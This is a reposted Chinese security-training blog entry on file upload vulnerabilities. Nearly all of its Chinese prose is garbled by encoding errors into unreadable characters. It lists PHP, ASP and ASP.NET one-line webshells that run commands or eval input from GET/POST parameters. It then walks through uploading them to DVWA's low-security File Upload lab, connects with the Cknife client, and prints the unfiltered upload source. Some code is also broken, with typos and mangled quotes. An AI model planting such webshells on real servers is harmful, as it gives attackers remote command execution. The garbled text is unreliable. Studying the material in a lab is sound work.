闆嗚绗叚澶╋細鏂囦欢涓婁紶婕忔礊

Posted 2020-11-15

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了闆嗚绗叚澶╋細鏂囦欢涓婁紶婕忔礊相关的知识，希望对你有一定的参考价值。

鏍囩锛?a href='http://www.mamicode.com/so/1/cte' title='cte'>cte 鏁版嵁 div 鎺ユ敹鍘熸潵 evel image alt tle

闊╄垝瀛﹀锛堢浉褰撴俯鏌旓級浠婂ぉ缁欐垜浠瑙ｄ簡鏂囦欢涓婁紶婕忔礊锛屼互鍙夾nrwsord鍜孋knife绛夊伐鍏风殑浣跨敤銆?/p>

鏂囦欢涓婁紶婕忔礊

涓婁紶鐨勬枃浠朵笉杩涜闄愬埗锛屾湁鍙兘浼氳鍒╃敤浜庝笂浼犲彲鎵ц鏂囦欢銆佽剼鏈埌鏈嶅姟鍣ㄤ笂锛屽苟涓旈€氳繃鑴氭湰鏂囦欢鍙互鑾峰緱鎵ц鏈嶅姟鍣ㄧ鍛戒护鐨勮兘鍔?/p>

鏈ㄩ┈

鏍规嵁璇█鍒嗙被锛屾湁php銆丄SP銆丣SP銆丄SP.NET绛変笉鍚岃瑷€涓嬬殑鏈ㄩ┈锛涙牴鎹綔鐢ㄥ垎绫伙紝鏈夊ぇ椹拰灏忛┈

PHP涓€鍙ヨ瘽鏈ㄩ┈锛?/p>

<?php ehco shell_exec($_GET[鈥榓鈥橾); ?>

<?php ehco shell_exec($_POST[鈥榓鈥橾); ?>

<?php @eval($_POST[鈥榓鈥橾); ?>

ASP涓€鍙ヨ瘽鏈ㄩ┈锛?/p>

<%eval request(鈥淐knife鈥?%>

ASP.NET涓€鍙ヨ瘽鏈ㄩ┈锛?/p>

<%@ Page Language=鈥滼script鈥?><%eval(Request.Item[鈥淐knife鈥漖,鈥漸nsafe鈥?;%>

shell_exec()

閫氳繃鐜鎵ц鍛戒护锛屽苟涓斿皢瀹屾暣鐨勮緭鍑轰互瀛楃涓茬殑鏂瑰紡杩斿洖

eval()

鎶婂瓧绗︿覆浣滀负PHP浠ｇ爜鎵ц鎵цa鎺ユ敹鍒扮殑鍐呭

DVWA鈥檚 File Upload

low level鐨勬祴璇曚竴涓嬶紝婧愮爜涓病鏈夊浠讳綍鏂囦欢鏍煎紡杩涜杩囨护锛?/p>

鍐欏嚭涓€鍙ヨ瘽鏈ㄩ┈

鐢ㄨ彍鍒€杩炴帴鐨勪竴鍙ヨ瘽鏈ㄩ┈锛?/p>

<?php @eval($_POST[鈥榓鈥橾; ?>

鐩存帴鍦ㄧ綉椤典笅閫氳繃GET鐨勪竴鍙ヨ瘽鏈ㄩ┈锛?/p>

<?php echo shell_exec($_GET[鈥榓鈥橾); ?>

鍦ㄧ綉椤典笅鐢╤ackbar閫氳繃POST鐨勪竴鍙ヨ瘽鏈ㄩ┈锛?/p>

<?php echo shell_exec($_POST[鈥榓鈥橾); ?>

get

post

Cknife杩炴帴

鎶€鏈浘鐗? src= 杩炴帴鍚庡彲浠ュ緱鍒扮洰鏍囨湇鍔″櫒涓嬫墍鏈夋枃浠?/p>

婧愮爜锛?/p>

<?php
if (isset($_POST[鈥楿pload鈥橾)) {

    $target_path = 
    DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
    //涓婁紶璺緞涓?./../hackable/uploads/
    $target_path = $target_path . basename( $_FILES['uploaded']['name']);
    //涓婁紶璺緞鍔犱笂涓婁紶鐨勬枃浠跺悕
    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
     //瀵规槸鍚︿笂浼犳垚鍔熷仛鍑哄垽鏂紝鍥犳鎵€鏈夋牸寮忕殑鏂囦欢閮借兘涓婁紶
        echo '<pre>';
        echo 'Your image was not uploaded.';
        echo '</pre>';
      } else {
        echo '<pre>';
        echo $target_path . ' succesfully uploaded!';
        echo '</pre>';
    }
}